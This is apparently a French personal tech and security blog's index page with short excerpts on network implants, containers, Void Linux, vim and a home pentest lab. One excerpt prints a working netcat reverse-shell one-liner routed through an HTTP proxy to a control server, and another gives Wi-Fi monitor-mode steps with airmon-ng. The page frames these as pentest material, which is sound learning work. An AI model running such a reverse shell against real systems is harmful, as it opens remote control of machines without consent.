Un outil courant lors d'audits d'intrusion est l'implant réseau : il s'agit d'un petit appareil que l'on va déposer chez la cible et raccorder à son réseau, et qui va nous permettre d'y accéder via une connexion distante, le tout à l'aide d'un tunnel sécurisé. S'il existe des solutions commerciales comme …

Pour différentes raisons, je me suis mis récemment à jouer un peu plus qu'avant avec les conteneurs.

À titre perso, je ne me vois pas quitter la virtualisation classique sur mon infra, j'aime bien l'aspect sécurité apporté par le cloisonnement des différentes machines. Pour autant, j'ai déjà utilisé Docker et …

Disclaimer

N'effectuez ces manipulations que sur des réseaux/machines pour lesquelles vous avez une autorisation explicite.

Mode monitoring

• Désactiver la gestion de l'interface par NetworkManager :

nmcli dev set wlan0 managed no

• Activer le mode monitoring sur l'interface :

airmon-ng start wlan0

L'interface de monitoring est maintenant wlan0mon ou assimilé (check avec …

Obtenir un reverse shell :

• via netcat
• sans droits root
• en traversant un proxy HTTP

mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc -X connect -x [IP Proxy]:[Port Proxy] [IP du serveur de contrôle] [Port en écoute pour le reverse shell] > /tmp/f; rm /tmp/f …

DNSPython est un module qui permet de forger et d'envoyer des requêtes DNS, des plus classiques aux plus complexes. Des fonctions de haut niveau vont permettre d'effectuer des requêtes courantes très simplement, et des fonctions de bas niveau permettant de créer sa requête pour prendre en compte les cas les …

Je viens de changer de laptop, et qui dit nouveau laptop, dit nouvelle installation de Linux !

Je reste fidèle à Void Linux que j'utilisais déjà sur mon précédent ordinateur, mais j'ai décidé de conserver le Windows en dual boot au cas où. Donc les caractéristiques de l'installation :

• Dualboot Windows / Linux …

Hello !

Aujourd'hui petite astuce en passant : je viens d'acheter un nouveau PC avec un magnifique écran HiDPI (écran de taille petite ou moyenne avec une très grande résolution). Ce qui est très beau, mais l'installation de Void Linux se faisant via un terminal, les caractères sont ridiculement petits.

Pas de …

Depuis un certain temps, j'avais dans la tête l'idée de me créer un lab de pentest chez moi. Le but était d'avoir un "micro-réseau" d'entreprise (avec les éléments qu'on retrouve souvent dans une entreprise classique) pour pouvoir tester des outils et méthodes et monter en compétences sur les différentes technos …

Trois ans après un premier tuto sur les bases de vim et deux ans après un tuto sur les fonctionnalités avancées, on est repartis pour toujours plus d'astuces pour vim ! (oui, mon rythme de publication ne ressemble à rien...) Du coup, aujourd'hui, on va voir comment vim gère les fichiers …

On entend parler régulièrement de fuites de données, en particulier de mots de passe. Le problème est assez important, puisqu'on sait tous que la majorité des gens réutilisent leurs mots de passe sur différents services. Du coup, il ne faut JAMAIS stocker des mots de passe en clair dans une …